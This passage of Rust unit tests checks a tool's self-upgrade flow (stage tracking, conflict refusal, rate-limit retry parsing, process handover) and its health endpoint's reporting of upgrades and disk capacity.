23750                tag_name: "v999.0.0".into(),
23751                html_url: String::new(),
23752            })
23753        };
23754        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23755        assert_eq!(
23756            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23757                .await
23758                .status(),
23759            StatusCode::NO_CONTENT
23760        );
23761        assert!(updater::read_progress(home.path()).is_none());
23762        ui.talk_turns.lock().unwrap().live.clear();
23763        let gate = ui.upgrade_gate.lock().await;
23764        assert_eq!(
23765            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23766                .await
23767                .status(),
23768            StatusCode::CONFLICT
23769        );
23770        drop(gate);
23771        assert_eq!(
23772            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23773                .await
23774                .status(),
23775            StatusCode::ACCEPTED
23776        );
23777        let progress = updater::read_progress(home.path()).unwrap();
23778        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23779        assert_eq!(progress.stage, updater::Stage::Downloading);
23780        assert!(progress.parked_run.is_none());
23781        assert!(ui.start_detached_loop().await.is_err());
23782        assert!(ui.start_loop(None).is_err());
23783        assert!(ui.begin_resume("late").is_err());
23784        tokio::time::timeout(Duration::from_secs(2), async {
23785            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23786                tokio::task::yield_now().await;
23787            }
23788        })
23789        .await
23790        .unwrap();
23791        let progress = updater::read_progress(home.path()).unwrap();
23792        assert_eq!(progress.stage, updater::Stage::Failed);
23793        assert_eq!(
23794            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23795                .await
23796                .status(),
23797            StatusCode::NO_CONTENT
23798        );
23799        // The manual shared path records the same progress and runs the same seam.
23800        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23801        assert_eq!(
23802            finish_upgrade_request(&ui, result).status(),
23803            StatusCode::ACCEPTED
23804        );
23805        assert_eq!(
23806            updater::read_progress(home.path()).unwrap().trigger,
23807            updater::UpgradeTrigger::Manual
23808        );
23809        tokio::time::timeout(Duration::from_secs(2), async {
23810            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23811                tokio::task::yield_now().await;
23812            }
23813        })
23814        .await
23815        .unwrap();
23816    }
23817
23818    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23819        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23820        p.stage = stage;
23821        p
23822    }
23823
23824    #[test]
23825    fn busy_stages_match_the_ui_set() {
23826        use crate::updater::Stage;
23827        assert!(APP_JS.contains(
23828            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23829        ));
23830        for s in [
23831            Stage::Downloading,
23832            Stage::Replaced,
23833            Stage::Parking,
23834            Stage::Restarting,
23835        ] {
23836            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23837        }
23838        for s in [Stage::Done, Stage::Failed] {
23839            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23840        }
23841        assert!(upgrade_in_motion(None).is_none());
23842    }
23843
23844    #[tokio::test]
23845    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23846        use crate::updater::Stage;
23847        for stage in [
23848            Stage::Downloading,
23849            Stage::Replaced,
23850            Stage::Parking,
23851            Stage::Restarting,
23852        ] {
23853            let fx = Fixture::start().await;
23854            let seeded = seeded_progress(stage);
23855            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23856            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23857                .expect("read");
23858
23859            let res = fx.post("/api/upgrade", None).await;
23860            assert_eq!(res.status, 409, "{stage:?}");
23861            let err = res.json()["error"].as_str().unwrap().to_owned();
23862            assert!(err.contains("already in progress"), "{err}");
23863            assert!(err.contains(stage.as_str()), "{err}");
23864
23865            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23866                .expect("read");
23867            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23868            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23869                .unwrap_or_default();
23870            assert!(!log.contains("signalling HANDOVER"), "{log}");
23871        }
23872    }
23873
23874    #[test]
23875    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23876        assert_eq!(
23877            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23878            Some(3723)
23879        );
23880        assert_eq!(
23881            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23882            Some(60)
23883        );
23884        assert_eq!(
23885            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23886            Some(0)
23887        );
23888        for message in [
23889            "permission denied",
23890            "GitHub API rate limit exceeded",
23891            "GitHub rate limit (resets in unknown)",
23892            "GitHub rate limit (resets in 18446744073709551615d)",
23893        ] {
23894            assert_eq!(upgrade_retry_after(message), None, "{message}");
23895        }
23896    }
23897
23898    #[tokio::test]
23899    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23900        let home = TempDir::new().unwrap();
23901        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23902        ui.start_loop(None).unwrap();
23903        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23904        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23905        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23906        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23907        let response = finish_upgrade_request(&ui, result);
23908        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23909        assert_eq!(response.headers()["retry-after"], "120");
23910        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23911            .await
23912            .unwrap();
23913        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23914        assert!(body["error"].as_str().unwrap().contains(reason));
23915        assert_eq!(body["retry_after_secs"], 120);
23916        assert!(body["retry_at"].as_u64().is_some());
23917        for _ in 0..2 {
23918            let view = health(State(ui.clone())).await.unwrap().0;
23919            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23920            assert_eq!(failure, body);
23921        }
23922        assert_eq!(
23923            std::fs::read(updater::progress_path(home.path())).unwrap(),
23924            before
23925        );
23926        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23927        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23928        // A conflicting request must not erase the actionable earlier failure.
23929        let gate = ui.upgrade_gate.lock().await;
23930        assert_eq!(
23931            upgrade_post(State(ui.clone())).await.status(),
23932            StatusCode::CONFLICT
23933        );
23934        drop(gate);
23935        assert!(
23936            health(State(ui.clone()))
23937                .await
23938                .unwrap()
23939                .0
23940                .upgrade_request_error
23941                .is_some()
23942        );
23943        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23944        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23945        assert!(
23946            health(State(ui.clone()))
23947                .await
23948                .unwrap()
23949                .0
23950                .upgrade_request_error
23951                .is_none()
23952        );
23953        let live = ui.lock_loop().live.take().unwrap();
23954        live.stop.stop();
23955        live.handle.await.unwrap();
23956    }
23957
23958    #[tokio::test]
23959    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23960        use crate::updater::Stage;
23961        let repo = TempDir::new().expect("repo dir");
23962        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23963            .expect("write magi.toml");
23964        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23965        for stage in [Stage::Done, Stage::Failed] {
23966            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23967            let res = fx.post("/api/upgrade", None).await;
23968            assert_eq!(res.status, 200, "{stage:?}");
23969        }
23970        // No record at all, and the gate was released by the earlier calls.
23971        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23972        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23973    }
23974
23975    #[tokio::test]
23976    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23977        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23978        // and the route answers from its own logic.
23979        //
23980        // This test used to lean on the fixture's placeholder repo failing
23981        // config discovery, which left `mode = "notify"` - and a live,
23982        // unauthenticated call to the GitHub releases API inside a unit test.
23983        // GitHub allows 60 of those an hour per address, so the suite went red
23984        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23985        // long as somebody kept re-running it: every attempt spent another
23986        // request. Six reruns across four pull requests were charged to that
23987        // before it was read as a rate limit rather than a flake.
23988        //
23989        // What the assertion is about is the "already current" branch, which
23990        // is reached by there being no newer release *or* nowhere to look. The
23991        // second one needs no network and cannot be rate limited.
23992        let repo = TempDir::new().expect("repo dir");
23993        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23994            .expect("write magi.toml");
23995        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23996
23997        // It must answer 200 and leave the process alone: restarting for an
23998        // upgrade that did not happen parks the run in flight and drops every
23999        // connection to pay for nothing. A probe against a deck already on the
24000        // newest build did exactly that, which is how this case got its own
24001        // branch.
24002        let res = fx.post("/api/upgrade", None).await;
24003        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24004        let body = res.json();
24005        assert!(body["to"].is_null(), "there was no release to move to");
24006        assert!(body["parked"].is_null(), "and nothing was parked");
24007        assert!(
24008            body["detail"]
24009                .as_str()
24010                .unwrap()
24011                .contains("nothing restarted"),
24012            "{body:?}"
24013        );
24014    }
24015
24016    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24017        tokio::time::timeout(Duration::from_secs(5), async {
24018            while state.lock().unwrap().in_flight {
24019                tokio::task::yield_now().await;
24020            }
24021        })
24022        .await
24023        .expect("capacity scan finished");
24024    }
24025
24026    fn disk_test_scope(home: &FsPath) -> DiskScope {
24027        DiskScope {
24028            runs: home.join("runs"),
24029            worktrees: home.join("worktrees"),
24030            cache: Some(home.join("cache")),
24031        }
24032    }
24033
24034    fn known_disk_capacity() -> DiskCapacity {
24035        DiskCapacity {
24036            free_bytes: Some(100),
24037            runs_bytes: Some(200),
24038            worktrees_bytes: Some(300),
24039            cache_bytes: Some(400),
24040        }
24041    }
24042
24043    #[tokio::test]
24044    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24045        let home = TempDir::new().unwrap();
24046        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24047        let mut ui = delta_test_ui(home.path());
24048        let state = Arc::get_mut(&mut ui).unwrap();
24049        state.repo = home.path().to_owned();
24050        state.worktrees_root = home.path().join("worktrees");
24051        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24052        ui.monitor
24053            .worker_started
24054            .store(true, std::sync::atomic::Ordering::SeqCst);
24055        let cfg = deputy_config(&ui.repo);
24056        let scope = DiskScope::of(&ui, cfg.as_ref());
24057        let (started, reached) = tokio::sync::oneshot::channel();
24058        let (release, blocked) = std::sync::mpsc::channel();
24059        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24060            started.send(()).unwrap();
24061            // A failed request assertion must also let the blocking worker exit.
24062            let _ = blocked.recv();
24063            known_disk_capacity()
24064        });
24065        assert!(cold.runs_bytes.is_none());
24066        tokio::time::timeout(Duration::from_secs(5), reached)
24067            .await
24068            .unwrap()
24069            .unwrap();
24070
24071        let requests: Vec<_> = (0..4)
24072            .map(|_| {
24073                let ui = ui.clone();
24074                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24075            })
24076            .collect();
24077        // This is a causal independence check, not a five-second latency
24078        // benchmark. Leave room for unrelated filesystem/thread contention
24079        // when the entire unit suite runs concurrently.
24080        let completed = tokio::time::timeout(Duration::from_secs(60), async {
24081            for request in requests {
24082                let view = request.await.unwrap();
24083                let disk = serde_json::to_value(view.disk).unwrap();
24084                assert!(disk["runs_bytes"].is_null());
24085                assert!(disk["worktrees_bytes"].is_null());
24086                // Free space is a cheap live observation even while the
24087                // recursive capacity measurement remains blocked.
24088                assert!(disk["free_bytes"].is_u64());
24089            }
24090        })
24091        .await;
24092        if completed.is_err() {
24093            release.send(()).unwrap();
24094            wait_for_disk_scan(&ui.monitor.disk).await;
24095            panic!("health must return while the measurement is causally blocked");
24096        }
24097        assert!(ui.monitor.disk.lock().unwrap().in_flight);
24098        // No competing worker can have published while the first holds flight.
24099        assert!(
24100            ui.monitor
24101                .disk
24102                .lock()
24103                .unwrap()
24104                .capacity
24105                .runs_bytes
24106                .is_none()
24107        );
24108        release.send(()).unwrap();
24109        wait_for_disk_scan(&ui.monitor.disk).await;
24110        assert_eq!(
24111            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24112            Some(200)
24113        );
24114    }
24115
24116    #[tokio::test]
24117    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24118        let home = TempDir::new().unwrap();
24119        let scope = disk_test_scope(home.path());
24120        let state = Arc::new(Mutex::new(DiskObservation {
24121            scope: Some(scope.clone()),
24122            capacity: known_disk_capacity(),
24123            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24124            ..Default::default()
24125        }));
24126        let (started, reached) = tokio::sync::oneshot::channel();
24127        let (release, blocked) = std::sync::mpsc::channel();
24128        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24129            started.send(()).unwrap();
24130            blocked.recv().unwrap();
24131            DiskCapacity {
24132                runs_bytes: Some(250),
24133                ..Default::default()
24134            }
24135        });
24136        assert_eq!(before.cache_bytes, Some(400));
24137        tokio::time::timeout(Duration::from_secs(5), reached)
24138            .await
24139            .unwrap()
24140            .unwrap();
24141        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24142        for _ in 0..4 {
24143            let scans = duplicate_scans.clone();
24144            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24145                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24146                DiskCapacity::default()
24147            });
24148            assert_eq!(during.runs_bytes, Some(200));
24149            assert_eq!(during.cache_bytes, Some(400));
24150        }
24151        release.send(()).unwrap();
24152        wait_for_disk_scan(&state).await;
24153        let scans = duplicate_scans.clone();
24154        let after = DiskObservation::observe(&state, scope, move |_| {
24155            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24156            DiskCapacity::default()
24157        });
24158        wait_for_disk_scan(&state).await;
24159        assert_eq!(after.runs_bytes, Some(250));
24160        assert_eq!(after.free_bytes, Some(100));
24161        assert_eq!(after.cache_bytes, Some(400));
24162        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24163        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24164    }
24165
24166    #[tokio::test]
24167    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24168        let home = TempDir::new().unwrap();
24169        let old_scope = disk_test_scope(home.path());
24170        let mut new_scope = old_scope.clone();
24171        new_scope.cache = Some(home.path().join("replacement-cache"));
24172        let state = Arc::new(Mutex::new(DiskObservation {
24173            scope: Some(old_scope.clone()),
24174            capacity: known_disk_capacity(),
24175            ..Default::default()
24176        }));
24177        let (started, reached) = tokio::sync::oneshot::channel();
24178        let (release, blocked) = std::sync::mpsc::channel();
24179        DiskObservation::observe(&state, old_scope, move |_| {
24180            started.send(()).unwrap();
24181            blocked.recv().unwrap();
24182            known_disk_capacity()
24183        });
24184        tokio::time::timeout(Duration::from_secs(5), reached)
24185            .await
24186            .unwrap()
24187            .unwrap();
24188        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24189        let scans = duplicate_scans.clone();
24190        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24191            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24192            DiskCapacity::default()
24193        });
24194        assert!(changed.cache_bytes.is_none());
24195        assert!(changed.runs_bytes.is_none());
24196        release.send(()).unwrap();
24197        wait_for_disk_scan(&state).await;
24198        {
24199            let observation = state.lock().unwrap();
24200            assert!(observation.capacity.cache_bytes.is_none());
24201            assert!(observation.finished.is_none());
24202        }
24203        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24204            assert_eq!(scope, &new_scope);
24205            DiskCapacity {
24206                cache_bytes: Some(999),
24207                ..Default::default()
24208            }
24209        });
24210        wait_for_disk_scan(&state).await;
24211        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24212        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24213    }
24214
24215    #[tokio::test]
24216    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24217        let home = TempDir::new().unwrap();
24218        let scope = disk_test_scope(home.path());
24219        let state = Arc::new(Mutex::new(DiskObservation {
24220            scope: Some(scope.clone()),
24221            capacity: known_disk_capacity(),
24222            ..Default::default()
24223        }));
24224        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24225        wait_for_disk_scan(&state).await;
24226        {
24227            let mut observation = state.lock().unwrap();
24228            assert_eq!(observation.capacity.cache_bytes, Some(400));
24229            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24230            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24231        }
24232        DiskObservation::observe(&state, scope, |_| DiskCapacity {
24233            cache_bytes: Some(450),
24234            ..Default::default()
24235        });
24236        wait_for_disk_scan(&state).await;
24237        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24238    }
24239
24240    #[test]
24241    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24242        let home = TempDir::new().unwrap();
24243        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24244        assert_eq!(disk_capacity_size(home.path()), Some(0));
24245        std::fs::create_dir(home.path().join("nested")).unwrap();
24246        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24247        assert_eq!(disk_capacity_size(home.path()), Some(5));
24248        #[cfg(unix)]
24249        {
24250            // Unix distinguishes an invalid descendant lookup from absence.
24251            assert_eq!(
24252                disk_capacity_size(&home.path().join("nested/data/child")),
24253                None
24254            );
24255        }
24256        #[cfg(unix)]
24257        {
24258            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24259            assert_eq!(disk_capacity_size(home.path()), Some(5));
24260        }
24261    }
24262
24263    #[tokio::test]
24264    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24265        // `mode = "off"` for the same reason as the test above: a default
24266        // fixture repo falls back to `mode = "notify"`, which would make this
24267        // route's new `update` field a live, unauthenticated GitHub call on
24268        // every assertion in this suite that happens to hit `/api/health`.
24269        let repo = TempDir::new().expect("repo dir");
24270        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24271            .expect("write magi.toml");
24272        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24273
24274        let health = fx.get("/api/health").await.json();
24275        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24276        assert_eq!(
24277            health["update"]["available"], false,
24278            "checking is off, which reads as \"unknown\", not \"none\""
24279        );
24280        assert!(health["update"]["to"].is_null());
24281        assert!(
24282            health["upgrade"].is_null(),
24283            "nothing has ever asked this deck to upgrade"
24284        );
24285    }
24286
24287    #[tokio::test]
24288    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24289        let fx = Fixture::start().await;
24290        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24291
24292        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24293        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24294        progress.advance(crate::updater::Stage::Parking);
24295        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24296
24297        let health = fx.get("/api/health").await.json();
24298        assert_eq!(health["upgrade"]["stage"], "parking");
24299        assert_eq!(health["upgrade"]["from"], "0.5.1");
24300        assert_eq!(health["upgrade"]["to"], "0.5.2");
24301        let waiting_on = health["upgrade"]["waiting_on"]
24302            .as_str()
24303            .expect("waiting_on is set while parking a known run");
24304        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24305        assert!(waiting_on.contains("implementing"), "{waiting_on}");
24306    }
24307
24308    #[tokio::test]
24309    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24310        let fx = Fixture::start().await;
24311        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24312        progress.advance(crate::updater::Stage::Done);
24313        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24314
24315        let health = fx.get("/api/health").await.json();
24316        assert_eq!(health["upgrade"]["stage"], "done");
24317        assert!(
24318            health["upgrade"]["waiting_on"].is_null(),
24319            "nothing to wait on once it is done"
24320        );
24321    }
24322
24323    /// The handover signal is seen however the race falls, and wakes its one
24324    /// waiter once per signal - nothing here can spin.
24325    #[tokio::test]
24326    async fn the_handover_signal_wakes_one_waiter_once() {
24327        let signal = Notify::new();
24328        // Signalled before anyone waits: the stored permit is not lost.
24329        signal.notify_one();
24330        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24331            .await
24332            .expect("an early signal is still seen");
24333        // One signal, one wake-up: a second wait does not resolve by itself.
24334        assert!(
24335            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24336                .await
24337                .is_err(),
24338            "a consumed signal must not wake a second time"
24339        );
24340        // Signalled while waiting.
24341        let signal = std::sync::Arc::new(signal);
24342        let waiter = tokio::spawn({
24343            let signal = std::sync::Arc::clone(&signal);
24344            async move { wait_for_handover(&signal).await }
24345        });
24346        tokio::time::sleep(Duration::from_millis(20)).await;
24347        assert!(!waiter.is_finished(), "nothing was signalled yet");
24348        signal.notify_one();
24349        tokio::time::timeout(Duration::from_secs(5), waiter)
24350            .await
24351            .expect("a late signal wakes the waiter")
24352            .expect("join");
24353    }
24354
24355    #[tokio::test]
24356    async fn health_says_how_long_a_handover_has_been_stuck() {
24357        let fx = Fixture::start().await;
24358        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24359        progress.advance(crate::updater::Stage::Replaced);
24360        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24361        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24362
24363        let health = fx.get("/api/health").await.json();
24364        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24365        assert!(stuck >= 600, "{stuck}");
24366        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24367        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24368    }
24369
24370    #[tokio::test]
24371    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24372        let home = tempfile::tempdir().expect("temp home");
24373        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24374        progress.advance(crate::updater::Stage::Parking);
24375        crate::updater::write_progress(home.path(), &progress).expect("seed");
24376        // What the second upgrade_and_restart and its handler do.
24377        let mut again = progress.clone();
24378        again.advance(crate::updater::Stage::Replaced);
24379        crate::updater::write_progress(home.path(), &again).expect("replaced");
24380        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24381        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24382        let after = crate::updater::read_progress(home.path()).expect("record");
24383        assert_eq!(after.stage, crate::updater::Stage::Parking);
24384    }
24385
24386    #[tokio::test]
24387    async fn health_does_not_call_a_live_parking_wait_stuck() {
24388        let fx = Fixture::start().await;
24389        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24390        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24391        progress.advance(crate::updater::Stage::Parking);
24392        let hours = Duration::from_secs(3 * 3600);
24393        progress.started_at = Timestamp::now() - hours;
24394        progress.updated_at = Timestamp::now() - hours;
24395        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24396        let _lease = crate::updater::LeaseGuard::enter(
24397            fx.home.path(),
24398            Some("20260905-000000-cd51".to_owned()),
24399        );
24400
24401        let health = fx.get("/api/health").await.json();
24402        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24403        assert!(health["upgrade"]["stuck_kind"].is_null());
24404        assert_eq!(health["upgrade"]["handover_alive"], true);
24405        let waiting_on = health["upgrade"]["waiting_on"]
24406            .as_str()
24407            .expect("waiting_on");
24408        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24409    }
24410
24411    fn idle_ui(home: &TempDir) -> Ui {
24412        let runs = home.path().join("runs");
24413        std::fs::create_dir_all(&runs).expect("runs dir");
24414        Ui::new(
24415            Queue::at(home.path().join("queue")),
24416            Questions::at(home.path().join("questions")),
24417            Talks::at(home.path().join("talks")),
24418            runs,
24419            home.path().to_path_buf(),
24420            PathBuf::from("/repo/magi"),
24421        )
24422        .with_launch(launch_idle)
24423    }
24424
24425    #[tokio::test]
24426    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24427        let home = TempDir::new().expect("temp home");
24428        let ui = idle_ui(&home);
24429        let lease = crate::worker::try_lease(home.path(), "scheduler")
24430            .expect("scheduler lease")
24431            .expect("free");
24432        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24433            .expect("request stop");
24434        let error = ui
24435            .start_detached_loop()
24436            .await
24437            .expect_err("transition is still live");
24438        assert_eq!(error.status, StatusCode::CONFLICT);
24439        assert!(error.message.contains("still running or stopping"));
24440        assert_eq!(
24441            crate::worker::control(home.path(), "scheduler").unwrap(),
24442            Some(crate::worker::Control::Stop)
24443        );
24444        drop(lease);
24445    }
24446
24447    #[tokio::test]
24448    async fn handover_releases_listener_without_waiting_for_execution_leases() {
24449        let home = TempDir::new().expect("temp home");
24450        let ui = idle_ui(&home);
24451        let turns = ui
24452            .begin_talk_turn("active-chat")
24453            .expect("claim")
24454            .expect("free");
24455        let execution = crate::worker::try_lease(home.path(), "active-task")
24456            .expect("execution lease")
24457            .expect("free");
24458        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24459            .await
24460            .expect("bind loopback");
24461        let address = listener.local_addr().expect("address");
24462        let admissions = Arc::clone(&ui.admissions);
24463        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24464        let successor_started = std::sync::atomic::AtomicBool::new(false);
24465        tokio::time::timeout(
24466            Duration::from_secs(2),
24467            hand_over(home.path(), &admissions, served, || {
24468                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24469                Ok(1)
24470            }),
24471        )
24472        .await
24473        .expect("restart must not wait for execution")
24474        .expect("handover");
24475        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24476        // BSD may retain the address briefly after listener release. The real
24477        // successor uses the same bounded bind retry rather than a one-shot bind.
24478        let successor = bind_waiting(address)
24479            .await
24480            .expect("successor binds released address");
24481        assert_eq!(successor.local_addr().unwrap(), address);
24482        assert!(turns.owns(), "the chat lease survives restart");
24483        assert!(
24484            crate::worker::try_lease(home.path(), "active-task")
24485                .unwrap()
24486                .is_none()
24487        );
24488        drop(execution);
24489        drop(turns);
24490    }
24491
24492    #[tokio::test]
24493    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24494        let home = TempDir::new().expect("temp home");
24495        let ui = idle_ui(&home);
24496        let admission = ui.begin_admission().expect("admit send");
24497        let turn = ui
24498            .begin_talk_turn("active-chat")
24499            .expect("claim")
24500            .expect("free");
24501        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24502            .await
24503            .expect("bind loopback");
24504        let address = listener.local_addr().expect("address");
24505        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24506        let successor_called = std::sync::atomic::AtomicBool::new(false);
24507        let handover = hand_over(home.path(), &ui.admissions, served, || {
24508            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24509            Ok(1)
24510        });
24511        tokio::pin!(handover);
24512        // Poll exactly to the writer waiting on our admission guard. This
24513        // pins the race without sleeps or assumptions about task scheduling.
24514        std::future::poll_fn(|cx| {
24515            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24516            std::task::Poll::Ready(())
24517        })
24518        .await;
24519        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24520        assert!(
24521            ui.begin_admission().is_err(),
24522            "new ingress cannot race the drain"
24523        );
24524        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24525        drop(admission);
24526        tokio::time::timeout(Duration::from_secs(2), handover)
24527            .await
24528            .expect("only publication may delay restart")
24529            .expect("handover");
24530        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24531        assert!(
24532            turn.owns(),
24533            "the detached chat turn is not awaited or cancelled"
24534        );
24535        assert!(
24536            ui.begin_admission().is_err(),
24537            "old accepted connections stay closed"
24538        );
24539        drop(turn);
24540    }
24541
24542    #[test]
24543    fn health_worker_metadata_never_contains_payload_or_result() {
24544        let view = WorkerView::from(crate::worker::Job {
24545            id: "job".into(),
24546            sequence: 1,
24547            kind: "service".into(),
24548            key: "maintenance".into(),
24549            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24550            generation: "generation".into(),
24551            version: Some("1.2.3".into()),
24552            status: crate::worker::Status::Running,
24553            result: Some("private diagnostics".into()),
24554            pid: Some(4242),
24555            created_at: 1,
24556            finished_at: None,
24557        });
24558        let value = serde_json::to_value(view).expect("serialize public metadata");
24559        assert_eq!(value["version"], "1.2.3");
24560        assert_eq!(value["pid"], 4242);
24561        assert!(value.get("payload").is_none());
24562        assert!(value.get("result").is_none());
24563        assert!(!value.to_string().contains("private"));
24564    }
